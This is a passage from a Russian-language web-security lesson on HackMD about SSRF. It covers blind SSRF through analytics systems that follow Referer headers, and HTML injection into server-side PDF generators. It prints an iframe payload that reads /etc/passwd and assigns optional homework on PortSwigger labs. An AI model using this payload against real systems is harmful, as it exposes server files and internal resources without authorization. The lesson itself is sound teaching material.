рассмотрели данный заголовок, но давайте ещё раз: Системы веб-аналитики часто извлекают любой нераспознанный URL-адрес, указанный в заголовке Referer прибывающих посетителей. Некоторые аналитические системы даже пытаются активно сканировать весь веб-сайт, указанный в URL-адресе реферера, в целях SEO. По сути, это слепая SSRF-уязвимость , поскольку у пользователя нет возможности просмотреть результаты запроса аналитической системы, и это часто происходит через несколько минут или часов после запроса пользователя, что еще больше усложняет эксплуатацию(в лабе были идеальные условия, чтобы мы не заснули:)). ### HTML-Injection :::warning **Что такое HTML-инъекция?** Суть этого типа инъекционной атаки заключается во внедрении HTML-кода через уязвимые части веб-сайта. Злоумышленник отправляет HTML-код через любое уязвимое поле с целью изменить дизайн веб-сайта или любую информацию, отображаемую пользователю. ::: Мы данную уязвимость рассмотрим на будущих занятиях, самое главное тут следующее: SSRF можно использовать через HTML-инъекцию. Например: На большинстве веб-сайтов, особенно в веб-приложениях CRM, мы обычно сталкивались с такими функциями, как `Export In PDF` или `Generate a PDF Report`. Когда мы нажимаем на эти кнопки, отчет в формате PDF генерируется с сервера и загружается на наш компьютер. Эти генераторы PDF в большинстве случаев уязвимы для HTML-инъекций, и разработчики даже не пытаются это исправить, потому что HTML-инъекция в PDF никогда не может причинить никому вреда, но они не понимают, что через внедрение тега `<iframe>` в PDF злоумышленник может искать точки внедрения SSRF и может сделать запрос от имени сервера. В большинстве случаев всякий раз, когда вы создаете отчет в формате PDF, вам обычно приходится заполнять некоторые параметры, а иногда некоторые параметры, такие как ваше имя, сообщение и т.д., Отражаются в PDF. Можно попытаться внедрить в эти параметры тег `<iframe>` и через атрибут src указать источник данных для iframe. Сначала можно просто вставить коллаборатор, если придёт отстук с ip сервака, то можно уже задумываться над SSRF'кой! А именно: `<iframe src=file:///etc/passwd></iframe>` Передаёте это добро серверу и если сервер успешно покажет вам содержимое файла etc/passwd, то SSRF будет подтвержден. --- # Домашка(по желанию) Это наверное всё, что я хотел показать сегодня, если вам этого было мало, то советую прочитать [ЭТУ](https://portswigger.net/research/cracking-the-lens-targeting-https-hidden-attack-surface#remoteclient) статью и глянуть [ЭТОТ](https://www.youtube.com/watch?v=D1S-G8rJrEk&t=428s) докладик! Для закрепления пройденного материала советую сделать следующее: 1) Прорешать [раздел SSRF](https://portswigger.net/web-security/ssrf) в PortSwigger'e; 2) Ответить на вопрос - ssrf бывает только в HTTP(если нет, привести 2 примера)? 3) Как ещё можно **применять** Blind SSRF помимо ShellShock? И на этом, пожалуй, всё. Благодарю за прочтение топика, надеюсь вам было всё понятно и интересно! Если есть вопросы - пишите в тг @ArroizX ![](https://i.imgur.com/kFAuwwJ.png)

    Import from clipboard

    Paste your markdown or webpage here...

    Advanced permission required

    Your current role can only read. Ask the system administrator to acquire write and comment permission.

    This team is disabled

    Sorry, this team is disabled. You can't edit this note.

    This note is locked

    Sorry, only owner can edit this note.

    Reach the limit

    Sorry, you've reached the max length this note can be.
    Please reduce the content or divide it to more notes, thank you!

    Import from Gist

    Import from Snippet

    or

    Export to Snippet

    Are you sure?

    Do you really want to delete this note?
    All users will lose their connection.

    Create a note from template

    Create a note from template

    Oops...
    This template has been removed or transferred.
    Upgrade
    All
    • All
    • Team
    No template.

    Create a template

    Upgrade

    Delete template

    Do you really want to delete this template?
    Turn this template into a regular note and keep its content, versions, and comments.

    This page need refresh

    You have an incompatible client version.
    Refresh to update.
    New version available!
    See releases notes here
    Refresh to enjoy new features.
    Your user state has changed.
    Refresh to load new user state.

    Sign in

    Forgot password

    or

    By clicking below, you agree to our terms of service.

    Sign in via Facebook Sign in via Twitter Sign in via GitHub Sign in via Dropbox Sign in with Wallet
    Wallet ( )
    Connect another wallet

    New to HackMD? Sign up

    Help

    • English
    • 中文
    • Français
    • Deutsch
    • 日本語
    • Español
    • Català
    • Ελληνικά
    • Português
    • italiano
    • Türkçe
    • Русский
    • Nederlands
    • hrvatski jezik
    • język polski
    • Українська
    • हिन्दी
    • svenska
    • Esperanto
    • dansk

    Documents

    Help & Tutorial

    How to use Book mode

    Slide Example

    API Docs

    Edit in VSCode

    Install browser extension

    Contacts

    Feedback

    Discord

    Send us email

    Resources

    Releases

    Pricing

    Blog

    Policy

    Terms

    Privacy

    Cheatsheet

    Syntax Example Reference
    # Header Header 基本排版
    - Unordered List
    • Unordered List
    1. Ordered List
    1. Ordered List
    - [ ] Todo List
    • Todo List
    > Blockquote
    Blockquote
    **Bold font** Bold font
    *Italics font* Italics font
    ~~Strikethrough~~ Strikethrough
    19^th^ 19th
    H~2~O H2O
    ++Inserted text++ Inserted text
    ==Marked text== Marked text
    [link text](https:// "title") Link
    ![image alt](https:// "title") Image
    `Code` Code 在筆記中貼入程式碼
    ```javascript
    var i = 0;
    ```
    var i = 0;
    :smile: :smile: Emoji list
    {%youtube youtube_id %} Externals
    $L^aT_eX$ LaTeX
    :::info
    This is a alert area.
    :::

    This is a alert area.

    Versions and GitHub Sync
    Get Full History Access

    • Edit version name
    • Delete

    revision author avatar     named on  

    More Less

    Note content is identical to the latest version.
    Compare
      Choose a version
      No search result
      Version not found
    Sign in to link this note to GitHub
    Learn more
    This note is not linked with GitHub
     

    Feedback

    Submission failed, please try again

    Thanks for your support.

    On a scale of 0-10, how likely is it that you would recommend HackMD to your friends, family or business associates?

    Please give us some advice and help us improve HackMD.

     

    Thanks for your feedback

    Remove version name

    Do you want to remove this version name and description?

    Transfer ownership

    Transfer to
      Warning: is a public team. If you transfer note to this team, everyone on the web can find and read this note.

        Link with GitHub

        Please authorize HackMD on GitHub
        • Please sign in to GitHub and install the HackMD app on your GitHub repo.
        • HackMD links with GitHub through a GitHub App. You can choose which repo to install our App.
        Learn more  Sign in to GitHub

        Push the note to GitHub Push to GitHub Pull a file from GitHub

          Authorize again
         

        Choose which file to push to

        Select repo
        Refresh Authorize more repos
        Select branch
        Select file
        Select branch
        Choose version(s) to push
        • Save a new version and push
        • Choose from existing versions
        Include title and tags
        Available push count

        Pull from GitHub

         
        File from GitHub
        File from HackMD

        GitHub Link Settings

        File linked

        Linked by
        File path
        Last synced branch
        Available push count

        Danger Zone

        Unlink
        You will no longer receive notification when GitHub file changes after unlink.

        Syncing

        Push failed

        Push successfully